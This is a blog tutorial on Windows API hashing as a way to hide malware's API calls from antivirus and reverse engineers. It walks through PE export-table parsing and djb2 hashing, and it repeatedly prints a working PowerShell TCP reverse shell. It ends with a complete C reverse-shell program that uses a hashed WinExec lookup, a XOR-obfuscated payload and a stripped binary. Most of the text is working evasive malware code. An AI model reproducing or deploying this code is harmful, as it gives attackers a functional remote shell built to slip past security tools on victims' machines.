What is Windows API Hashing
This technique is often used by malware developers to hide their calls to the windows API. That way the blue team will have more difficulty reversing the malware and it is less flagged by an AV. Our goal is to make a PE without an import table.
The Import Table
Let’s compile a simple C program which will execute a simple reverse shell using WinExec API call. That call creates a new process and executes a system command.
#include <windows.h>
int main(void)
{
// execute our reverse shell
WinExec("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4444);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()\"", SW_HIDE);
return 0;
}
Before the execution of our program, libraries will be loaded in memory and their function addresses will be referenced in the Import Address Table (IAT). When a program calls a function from a DLL, it calls the address located in the IAT wich points to the function in memory.
If we look into our import table (I used CFF Explorer to do it) we can see several imported DLLs and our suspicious function (WinExec).
A first way will to hide our function would be to retrieve its address at runtime using the GetProcAddress() API call.
#include <windows.h>
typedef UINT(WINAPI* winexec)(LPCSTR lpCmdLine, UINT uCmdShow);
int main(void)
{
// get handle of kernel32.dll
HMODULE kernel32_dll = GetModuleHandle("kernel32.dll");
// parse it to find the WinExec function
winexec WinExec_imported = (winexec)GetProcAddress(kernel32_dll, "WinExec");
// execute our reverse shell
WinExec_imported("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4444);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()\"", SW_HIDE);
return 0;
}
Here we retrieve the handle (the base address) of the kernel32.dll
module with the GetModuleHandle() API call. Now we can use the GetProcAddress() API call to parse our DLL and return the function’s address.
It works, WinExec seems to be absent from our IAT. But until now it’s easy to reverse and functions like GetModuleHandle and GetProcAddress can be suspicious …
Write our own GetProcAddress
We will write our own GetProcAddress() function and instead of searching for a function name, we will search for a hash. For now this may be strange for you but don’t worry you will understand everything. First we need to understand how the export table works.
The Export Table
An Export Adress Table (EAT) will reference all the exported functions from a dll.
This is what the _IMAGE_EXPORT_DIRECTORY (wich represents the export table) structure defined into the winnt.h library looks like.
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions;
DWORD AddressOfNames;
DWORD AddressOfNameOrdinals;
} IMAGE_EXPORT_DIRECTORY,*PIMAGE_EXPORT_DIRECTORY;
- Name : the module name (dll name if you want)
- NumberOfFunctions : number of functions available in the module
- NumberOfNames : because some functions do not have names
- AddressOfFunctions : pointer to an array of address
- AddressOfNames : pointer to an array list of names
- AddressOfNameOrdinals : pointer to an array of “ordinals” (i will explain that.)
diagram from Infosec Resources
Each function has a number associated to it. It is called an ordinal. Each function name is associated to an ordinal but a function may have no name. Functions are often imported by their names but it makes a lot of strcmp so sometimes functions are imported by ordinal. It makes reverse engineering a bit harder and functions import faster.
So now, we can make a “roadmap” in order to create our own GetProcAdress():
- first, we must parse our dll to find the export table
- after we have to browse the name list to find our function name
- get ordinal associated to this name
- get address function associated to this ordinal and return it
Parse the dll’s
to do that we will use the winnt.h library in C.
The following diagram illustrates the simplified structure of a PE.
more about PE format : Malware researcher’s handbook (demystifying PE file) | Infosec Resources
So, we have to parse the DOS header first, then the NT header to access the optionnal headers and finally get the Export Address Table (located in the .edata section)
#include <windows.h>
#include <winnt.h>
void* my_GetProcAddress(HMODULE dll_handle, char* hashed_function_name) {
// a dll is a Portable Executable file.
IMAGE_DOS_HEADER* p_DOS_HDR = (IMAGE_DOS_HEADER*) dll_handle; // convert your data into an IMAGE_DOS_HEADER* type defined in winnt.h
IMAGE_NT_HEADERS* p_NT_HDR = (IMAGE_NT_HEADERS*) ((LPBYTE)dll_handle + p_DOS_HDR->e_lfanew ); // NT HEADERS are located at the raw offset defined in the e_lfanew header
// RVA of the export table can be found in the optional headers
// https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header-data-directories-image-only
IMAGE_EXPORT_DIRECTORY* export_table = (IMAGE_EXPORT_DIRECTORY*)((LPBYTE)dll_handle + p_NT_HDR->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
return NULL;
}
Now we have the address of our export table. Let’s parse it following the EAT diagram above.
PARSE OUR EXPORT TABLE
Getting the name, ordinal and address array.
DWORD numberOfNames = export_table->NumberOfNames; // size of array name
DWORD* functions_address = (DWORD*)((LPBYTE)dll_handle + export_table->AddressOfFunctions); // array function
DWORD* functions_names = (DWORD*)((LPBYTE)dll_handle + export_table->AddressOfNames); // array name
WORD* functions_ordinal = (WORD*)((LPBYTE)dll_handle + export_table->AddressOfNameOrdinals); // array ordinal
let’s iterate through the array name to find our function
for(size_t i=0; i < numberOfNames; i++) {
char *name = (char*)dll_handle + functions_names[i];
if (strcmp(hashed_function_name, name) == 0) {
printf("function %s found into %s !\n", name, (char*)dll_handle+export_table->Name);
}
}
This loop iterates through the name array and compares each function’s name to our string. Now we just have to return the function’s address, this is the tricky part. We have to find the ordinal attached to this function’s name.
// these 2 arrays are parallel
functions_names[i] // -> name (string)
functions_ordinal[i] // -> ordinal (integer)
// index of the function into the functions_address list
// so we just have to do this to get the function
functions_address[functions_ordinal[i]]
don’t forget that these addresses are relative to the base address so we have to add base_address + address
Here it’s the complete code of our function :
void* my_GetProcAddress(HMODULE dll_handle, char* hashed_function_name) {
IMAGE_DOS_HEADER* p_DOS_HDR = (IMAGE_DOS_HEADER*) dll_handle; // convert your data into an IMAGE_DOS_HEADER* type defined in winnt.h
IMAGE_NT_HEADERS* p_NT_HDR = (IMAGE_NT_HEADERS*) ((LPBYTE)dll_handle + p_DOS_HDR->e_lfanew ); // NT HEADERS are located at the raw offset defined in the e_lfanew header
IMAGE_EXPORT_DIRECTORY* export_table = (IMAGE_EXPORT_DIRECTORY*)((LPBYTE)dll_handle + p_NT_HDR->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // .edata section
DWORD numberOfNames = export_table->NumberOfNames;
printf("number of names : %d\n", numberOfNames);
DWORD* functions_address = (DWORD*)((LPBYTE)dll_handle + export_table->AddressOfFunctions);
DWORD* functions_names = (DWORD*)((LPBYTE)dll_handle + export_table->AddressOfNames);
WORD* functions_ordinal = (WORD*)((LPBYTE)dll_handle + export_table->AddressOfNameOrdinals);
for(size_t i=0; i < numberOfNames; i++) {
char *name = (char*)dll_handle + functions_names[i];
// printf("%s\n",name);
if (strcmp(hashed_function_name, name) == 0) {
printf("function %s found into %s !\n", name, (char*)dll_handle+export_table->Name);
return (LPBYTE)dll_handle + functions_address[functions_ordinal[i]];
}
}
return NULL;
}
Nice it works. Now we just have to “obfuscate” the name of our DLLs.
After searching a bit on google I found the djb2 algorithm wich seems fast and interesting.
unsigned long hash_djb2(unsigned char *str)
{
unsigned long hash = 5381;
int c;
while (c = *str++)
hash = ((hash << 5) + hash) + c; /* hash * 33 + c */
return hash;
}
If we call our hash fonction with “WinExec” argument we have this output :
printf("%lu\n", hash_djb2("WinExec"));
// output : 698766968
So our final function is :
void* my_GetProcAddress(HMODULE dll_handle, unsigned long hashed_function_name) {
IMAGE_DOS_HEADER* p_DOS_HDR = (IMAGE_DOS_HEADER*) dll_handle; // convert your data into an IMAGE_DOS_HEADER* type defined in winnt.h
IMAGE_NT_HEADERS* p_NT_HDR = (IMAGE_NT_HEADERS*) ((LPBYTE)dll_handle + p_DOS_HDR->e_lfanew ); // NT HEADERS are located at the raw offset defined in the e_lfanew header
IMAGE_EXPORT_DIRECTORY* export_table = (IMAGE_EXPORT_DIRECTORY*)((LPBYTE)dll_handle + p_NT_HDR->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // .edata section
DWORD numberOfNames = export_table->NumberOfNames;
DWORD* functions_address = (DWORD*)((LPBYTE)dll_handle + export_table->AddressOfFunctions);
DWORD* functions_names = (DWORD*)((LPBYTE)dll_handle + export_table->AddressOfNames);
WORD* functions_ordinal = (WORD*)((LPBYTE)dll_handle + export_table->AddressOfNameOrdinals);
for(size_t i=0; i < numberOfNames; i++) {
char *name = (char*)dll_handle + functions_names[i];
// printf("%s\n",name);
if (hashed_function_name == hash_djb2(name)) {
return (LPBYTE)dll_handle + functions_address[functions_ordinal[i]];
}
}
return NULL;
}
and our final reverse shell looks like this :
#include <windows.h>
#include <winnt.h>
typedef UINT(WINAPI* winexec)(LPCSTR lpCmdLine, UINT uCmdShow);
void* my_GetProcAddress(HMODULE dll_handle, unsigned long hashed_function_name);
unsigned long hash_djb2(unsigned char *str);
void xor(char* string, unsigned long key);
int main(void)
{
// get handle of kernel32.dll
unsigned long hash_function_name = 698766968;
// char payload[] = "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4444);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()\"";
char payload[] = "\x09\x18\x10\x1e\x0b\x0c\x11\x1e\x15\x15\x59\x56\x17\x18\x09\x59\x56\x1c\x59\x5b\x5d\x1c\x15\x12\x1e\x17\x0d\x59\x46\x59\x37\x1e\x10\x56\x38\x1b\x13\x1e\x1c\x0d\x59\x2c\x02\x0c\x0d\x1e\x16\x57\x37\x1e\x0d\x57\x2c\x18\x1c\x14\x1e\x0d\x0c\x57\x2d\x3c\x29\x3c\x15\x12\x1e\x17\x0d\x51\x60\x4a\x4b\x50\x57\x49\x57\x49\x57\x4a\x60\x55\x4d\x4d\x4d\x4d\x52\x44\x5d\x0c\x59\x46\x59\x5d\x1c\x15\x12\x1e\x17\x0d\x57\x40\x1e\x0d\x2c\x0d\x0b\x1e\x1a\x16\x51\x52\x44\x24\x1b\x02\x0d\x1e\x24\x26\x26\x5d\x1b\x59\x46\x59\x49\x57\x57\x4f\x4e\x4e\x4c\x4e\x05\x5e\x04\x49\x06\x44\x10\x11\x12\x15\x1e\x51\x51\x5d\x12\x59\x46\x59\x5d\x0c\x57\x2b\x1e\x1a\x1d\x51\x5d\x1b\x55\x59\x49\x55\x59\x5d\x1b\x57\x35\x1e\x17\x20\x0d\x11\x52\x52\x59\x56\x17\x1e\x59\x49\x52\x04\x44\x5d\x1d\x1a\x0d\x1a\x59\x46\x59\x51\x37\x1e\x10\x56\x38\x1b\x13\x1e\x1c\x0d\x59\x56\x2d\x02\x09\x1e\x37\x1a\x16\x1e\x59\x2c\x02\x0c\x0d\x1e\x16\x57\x2d\x1e\x01\x0d\x57\x3a\x2c\x3c\x32\x32\x3e\x17\x1c\x18\x1d\x12\x17\x20\x52\x57\x40\x1e\x0d\x2c\x0d\x0b\x12\x17\x20\x51\x5d\x1b\x55\x49\x55\x59\x5d\x12\x52\x44\x5d\x0c\x1b\x59\x46\x59\x51\x12\x1e\x01\x59\x5d\x1d\x1a\x0d\x1a\x59\x4b\x47\x5f\x4a\x59\x05\x59\x38\x0e\x0d\x56\x2c\x0d\x0b\x12\x17\x20\x59\x52\x44\x5d\x0c\x1b\x4b\x59\x46\x59\x5d\x0c\x1b\x59\x54\x59\x60\x29\x2c\x59\x60\x59\x54\x59\x51\x09\x10\x1d\x52\x57\x29\x1a\x0d\x11\x59\x54\x59\x60\x47\x59\x60\x44\x5d\x0c\x1b\x0d\x59\x46\x59\x51\x24\x0d\x1e\x01\x0d\x57\x1e\x17\x1c\x18\x1d\x12\x17\x20\x26\x43\x43\x3a\x2c\x3c\x32\x32\x52\x57\x40\x1e\x0d\x3b\x02\x0d\x1e\x0c\x51\x5d\x0c\x1b\x4b\x52\x44\x5d\x0c\x57\x30\x0b\x12\x0d\x1e\x51\x5d\x0c\x1b\x0d\x55\x49\x55\x5d\x0c\x1b\x0d\x57\x35\x1e\x17\x20\x0d\x11\x52\x44\x5d\x0c\x57\x3f\x15\x0e\x0c\x11\x51\x52\x06\x44\x5d\x1c\x15\x12\x1e\x17\x0d\x57\x3c\x15\x18\x0c\x1e\x51\x52\x5b";
xor(payload, hash_function_name);
HMODULE kernel32_dll = LoadLibrary("kernel32.dll");
// parse it to find the WinExec function
//winexec WinExec_imported = (winexec)GetProcAddress(kernel32_dll, "WinExec");
winexec WinExec_imported = (winexec)my_GetProcAddress(kernel32_dll, 698766968);
WinExec_imported(payload, SW_HIDE);
return 0;
}
void xor(char* string, unsigned long key) {
while (*string) {
*string -= 1;
*string++ ^= (char)(key & 0xff);
}
}
void* my_GetProcAddress(HMODULE dll_handle, unsigned long hashed_function_name) {
IMAGE_DOS_HEADER* p_DOS_HDR = (IMAGE_DOS_HEADER*) dll_handle; // convert your data into an IMAGE_DOS_HEADER* type defined in winnt.h
IMAGE_NT_HEADERS* p_NT_HDR = (IMAGE_NT_HEADERS*) ((LPBYTE)dll_handle + p_DOS_HDR->e_lfanew ); // NT HEADERS are located at the raw offset defined in the e_lfanew header
IMAGE_EXPORT_DIRECTORY* export_table = (IMAGE_EXPORT_DIRECTORY*)((LPBYTE)dll_handle + p_NT_HDR->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // .edata section
DWORD numberOfNames = export_table->NumberOfNames;
DWORD* functions_address = (DWORD*)((LPBYTE)dll_handle + export_table->AddressOfFunctions);
DWORD* functions_names = (DWORD*)((LPBYTE)dll_handle + export_table->AddressOfNames);
WORD* functions_ordinal = (WORD*)((LPBYTE)dll_handle + export_table->AddressOfNameOrdinals);
for(size_t i=0; i < numberOfNames; i++) {
char *name = (char*)dll_handle + functions_names[i];
// printf("%s\n",name);
if (hashed_function_name == hash_djb2(name)) {
return (LPBYTE)dll_handle + functions_address[functions_ordinal[i]];
}
}
return NULL;
}
unsigned long hash_djb2(unsigned char *str) {
unsigned long hash = 5381;
int c;
while (c = *str++)
hash = ((hash << 5) + hash) + c; /* hash * 33 + c */
return hash;
}
i changed my mind, instead of using GetModuleHandle() which just returns the base address only if a module is loaded in memory I used LoadLibrary() wich will load the library if it is not loaded and also return its handle.
we compile it :
gcc reverse-shell.c -s -o reverse-shell.exe
I just obfuscated a bit the powershell payload with a simple xor and compile it with the -s flag to strip our PE. Stripping a PE means to discard these debugging symbols (like the function name). Stripping a binary reduces its size on the disk and makes it a little more difficult to debug and reverse engineer.
our main function now :
and our own GetProcAddress is a bit hard to recognize (of course an experimented reverse engineer will recognize it easily):
The WinExec and GetProcAddress functions are now totally absent in the IAT.
Conclusion
That’s all for this post, I hope you enjoyed it. If I said some things wrong or if I made any mistake feel free to report them to me. Same, if you don’t understand something contact me on Discord or Twitter. I will be happy to help you. Next time we will see how to make our own GetModuleHandle by parsing the Process Block Environment and make a PE without an import table.